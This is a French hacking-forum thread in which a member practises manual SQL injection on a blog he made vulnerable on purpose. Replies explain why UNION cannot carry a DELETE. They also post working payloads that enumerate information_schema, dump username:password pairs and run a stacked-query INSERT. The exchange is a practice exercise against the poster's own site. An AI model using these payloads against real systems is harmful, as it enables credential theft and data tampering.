• STATISTIQUES
  • Il y a eu un total de 2 membres et 6054 visiteurs sur le site dans les dernières 24h pour un total de 6 056 personnes!


    1 membre s'est inscrit dans les dernières 24h!


    Membres: 2 608
    Discussions: 3 580
    Messages: 32 820
    Tutoriels: 78
    Téléchargements: 38
    Sites dans l'annuaire: 58


  • ANNUAIRE
  • [EN] This is legal
    Basic: 10, Realistic: 5, Programming: 1, Bonus: 11, SQL: 2, Encryption: 6, Application: 4, User Contributed: 3
    Challenges
    [EN] Hack this site
    Basic: 11, Realistic: 17, Application: 18, Programming: 12, Extbasic: 14, Javascript: 7, Stego: 17
    Challenges
    [EN] Net Force
    Javascript: 9, Java Applets: 6, Cryptography: 16, Exploits: 7, Cracking: 14, Programming: 13, Internet: 15, Steganograph...
    Challenges
    [EN] Hack This Site
    Hack This Site est considéré comme un réel terrain d'entraînement légal pour le...
    Hacking
    [EN] hax.tor
    50 level de challenges mélangés
    Challenges
    [FR] WeChall
    Audio: 3, Coding: 11, Cracking: 9, Crypto: 18, Encoding: 11, Exploit: 44, Forensics: 1, Fun: 6, HTTP: 6, Image: 8, Java:...
    Challenges
    [EN] Dare your mind
    JavaScript: 6, Crypto: 44, Stegano: 36, Logic: 13, Special: 27, Science: 11, Realistic: 7, Programming: 10, Crack It: 6,...
    Challenges

  • DONATION
  • Si vous avez trouvé ce site internet utile, nous vous invitons à nous faire un don du montant de votre choix via Paypal. Ce don servira à financer notre hébergement.

    MERCI!




Note de ce sujet :
  • Moyenne : 0 (0 vote(s))
  • 1
  • 2
  • 3
  • 4
  • 5
Injection SQL
27-07-2013, 19h30 (Modification du message : 28-07-2013, 16h29 par acip.)
Message : #1
acip Hors ligne
Newbie
*



Messages : 8
Sujets : 2
Points: 0
Inscription : Jul 2013
Injection SQL
Salut !

Pour m’entraîner à réussir manuellement des injections SQL, j'ai codé un petit "blog" comportant volontairement une grosse faille.
Lorsque je demande un article : index.php?id=3 , la variable $_GET['id'] est insérée dans une requête SQL sans être traité. La requête n'est pas une requête préparée.
Pour communiquer avec la base de données, j'utilise PDO.

Bref, la faille est évidente. Mais malgré ça, je n'arrive pas à l'exploiter. Havij réussit très bien, mais mon but est d'exploiter la faille manuellement.

J'ai hébergé mes pages à cette adresse : acip.alwaysdata.net
Code source de index.php : pastebin.com/U6DrJ0Ad
Base de données : acip.alwaysdata.net/injectionsql.sql

J'effectue une requête telle que celle ci : index.php?id=1+UNION+DELETE+FROM+users+WHERE+users.id=2

Donc la requête SQL envoyée est celle ci : SELECT * FROM news WHERE id=1 UNION DELETE FROM users WHERE users.id=2

Mais, la ligne de la table "users" comportant l'id n°2 n'est pas supprimée. Idem pour toutes autres types de requêtes.
Je ne comprends pas pourquoi, il y a forcément quelque chose que je fais mal. Car Havij réussit.

Un peu d'aide serait bien venue. Smile
Merci !

EDIT:
Table 'news' :
[Image: 1835629501.png]

Table 'users' :
[Image: 4359013402.png]
+1 (0) -1 (0) Répondre
28-07-2013, 11h39
Message : #2
acip Hors ligne
Newbie
*



Messages : 8
Sujets : 2
Points: 0
Inscription : Jul 2013
RE: Injection SQL
Personne ? Undecided
Pourtant à en croire le log, vous êtes nombreux à avoir essayé.
+1 (0) -1 (0) Répondre
28-07-2013, 13h25
Message : #3
Hypnoze57 Hors ligne
Web Hacker
*



Messages : 98
Sujets : 13
Points: 28
Inscription : Feb 2012
RE: Injection SQL
J'ai voulu test mais down visiblement..
Make your own destiny now and forever !
+1 (0) -1 (0) Répondre
28-07-2013, 14h04
Message : #4
notfound Hors ligne
#!/usr/bin/env bash
*



Messages : 687
Sujets : 47
Points: 271
Inscription : Sep 2012
RE: Injection SQL
Il est plus que down la
+1 (0) -1 (0) Répondre
28-07-2013, 15h24
Message : #5
acip Hors ligne
Newbie
*



Messages : 8
Sujets : 2
Points: 0
Inscription : Jul 2013
RE: Injection SQL
Effectivement, 000webhost l'a fermé. Raison : Cancelled for Abuse (Slow MySQL Queries). :p
Je vais trouver un autre hébergeur et j'éditerais le lien.
+1 (0) -1 (0) Répondre
28-07-2013, 15h30
Message : #6
gruik Hors ligne
gouteur de savon
*



Messages : 757
Sujets : 44
Points: 482
Inscription : Oct 2012
RE: Injection SQL
sinon tu montes un apache+mysql chez toi directement, comme ca meme si t'arrives pas à pirater ta base de donnée t'auras quand meme appris des trucs, l'autre solution c'est de prendre un serveur dédié, y'en a à 3€ chez kimsufi en ce moment
+1 (0) -1 (0) Répondre
28-07-2013, 15h39
Message : #7
b0fh Hors ligne
Membre actif
*



Messages : 210
Sujets : 17
Points: 309
Inscription : Jul 2012
RE: Injection SQL
Salut,

La clause UNION n'accepte que des requêtes SELECT, tu ne peux pas l'utiliser pour faire un DELETE.

Tu peux en revanche utiliser un DELETE dans une subquery, quelque chose comme

Code SQL :
SELECT ... FROM blah WHERE id = (DELETE FROM ... )
+1 (0) -1 (0) Répondre
28-07-2013, 16h25 (Modification du message : 28-07-2013, 16h45 par Di0Sasm.)
Message : #8
acip Hors ligne
Newbie
*



Messages : 8
Sujets : 2
Points: 0
Inscription : Jul 2013
RE: Injection SQL
Re-up à cette adresse : http://acip.alwaysdata.net !

(28-07-2013, 15h30)gruik a écrit : sinon tu montes un apache+mysql chez toi directement, comme ca meme si t'arrives pas à pirater ta base de donnée t'auras quand meme appris des trucs, l'autre solution c'est de prendre un serveur dédié, y'en a à 3€ chez kimsufi en ce moment

Mais ça fait longtemps que j'ai monté un serveur apache2 et mysql sur mon ordinateur. Wink Mais quel est le rapport ?

(28-07-2013, 15h39)b0fh a écrit : Salut,

La clause UNION n'accepte que des requêtes SELECT, tu ne peux pas l'utiliser pour faire un DELETE.

Tu peux en revanche utiliser un DELETE dans une subquery, quelque chose comme

Code SQL :
SELECT ... FROM blah WHERE id = (DELETE FROM ... )

ah d'accord. Je ne savais pas. Merci Wink



Quand je fais la requête suivante : ?id=500 UNION SELECT * FROM users WHERE users.id=1

La requête me renvoi le tableau suivant :

Code SQL :
Array
(
    [id] => 1
    [0] => 1
    [title] => bob
    [1] => bob
    [content] => t0ps3cr3t#!
    [2] => t0ps3cr3t#!
)


Donc c'est bien car j'obtiens ce que je cherchais, mais je ne comprends pas pourquoi les clés de ce tableaux se nomment 'title' et 'content' alors que le nom des champs sont 'username' et 'password'.
+1 (0) -1 (0) Répondre
28-07-2013, 16h27
Message : #9
b0fh Hors ligne
Membre actif
*



Messages : 210
Sujets : 17
Points: 309
Inscription : Jul 2012
RE: Injection SQL
Parce que quand on fait un union, les noms des champs sont hérités de la première requête de l'union, pas de la deuxième.
+1 (0) -1 (0) Répondre
28-07-2013, 17h12
Message : #10
Hypnoze57 Hors ligne
Web Hacker
*



Messages : 98
Sujets : 13
Points: 28
Inscription : Feb 2012
RE: Injection SQL
Ton injection
Les tables :
Code :
acip.alwaysdata.net/?id=-9456 union select group_concat(table_name),2,3 from information_schema.tables where table_schema=database()--+-

Colonnes de la table users :
Code :
http://acip.alwaysdata.net/?id=-9456%20union%20select%20group_concat%28column_name%29,2,3%20from%20information_schema.columns%20where%20table_schema=database%28%29%20and%20table_name=0x7573657273--+-

Les logs :
Code :
http://acip.alwaysdata.net/?id=-9456%20union%20select%20group_concat%28username,0x3a,password%29,2,3%20from%20users--+-

C'est ceci que tu voulais?
Make your own destiny now and forever !
+1 (0) -1 (0) Répondre
28-07-2013, 18h23 (Modification du message : 28-07-2013, 18h25 par supersnail.)
Message : #11
supersnail Hors ligne
Éleveur d'ornithorynques
*******



Messages : 1,610
Sujets : 72
Points: 466
Inscription : Jan 2012
RE: Injection SQL
(28-07-2013, 15h39)b0fh a écrit : Salut,

La clause UNION n'accepte que des requêtes SELECT, tu ne peux pas l'utiliser pour faire un DELETE.

Tu peux en revanche utiliser un DELETE dans une subquery, quelque chose comme

Code SQL :
SELECT ... FROM blah WHERE id = (DELETE FROM ... )

Personnellement, mysql m'envoie cordialement chier en utilisant une subquery comme ça...

Code :
mysql> create table wtf (id int, name varchar (255), val varchar(255));
Query OK, 0 rows affected (0.10 sec)

mysql> INSERT INTO wtf (name, val) VALUES ('tg', 'suce');
Query OK, 1 row affected (0.04 sec)

mysql> INSERT INTO wtf (name, val) VALUES ('dssdfsdf', 'dsfdse');
Query OK, 1 row affected (0.03 sec)

mysql> select * from wtf where id = (DELETE FROM wtf WHERE id=1);
ERROR 1064 (42000): You have an error in your SQL syntax; check the manual that corresponds to your MariaDB server version for the right syntax to use near 'DELETE FROM wtf WHERE id=1)' at line 1

Edit: par contre les stacked queries ont l'air d'être supportées par PDO ...

cf: cr0a://acip.alwaysdata.net/?id=1;%20insert%20into%20news%20%28title,%20content%29%20values%20%28%27omgwtf%27,%20%27bbq%27%29;
Mon blog

Code :
push esp ; dec eax ; inc ebp ; and [edi+0x41],al ; dec ebp ; inc ebp

"VIM est merveilleux" © supersnail
+1 (0) -1 (0) Répondre
28-07-2013, 18h27
Message : #12
notfound Hors ligne
#!/usr/bin/env bash
*



Messages : 687
Sujets : 47
Points: 271
Inscription : Sep 2012
RE: Injection SQL
http://acip.alwaysdata.net/?id=8

Big Grin
+1 (0) -1 (0) Répondre
28-07-2013, 20h30
Message : #13
gruik Hors ligne
gouteur de savon
*



Messages : 757
Sujets : 44
Points: 482
Inscription : Oct 2012
RE: Injection SQL
(28-07-2013, 16h25)acip a écrit : Mais ça fait longtemps que j'ai monté un serveur apache2 et mysql sur mon ordinateur. Wink Mais quel est le rapport ?

le fait de chercher un hébergeur pour tester des injections sql qui t'ont valu de te faire ejecter par 000webhost peut-être, enfin après c'est vrai que ca tient plus du sens commun que de choses qui s'expliquent facilement...
+1 (0) -1 (0) Répondre


Sujets apparemment similaires…
Sujet Auteur Réponses Affichages Dernier message
  Injection SQL Hard Filtre oxame 4 256 01-09-2012, 17h59
Dernier message: Luxerails

Atteindre :


Utilisateur(s) parcourant ce sujet : 1 visiteur(s)
N-PN
Accueil | Challenges | Tutoriels | Téléchargements | Forum | Retourner en haut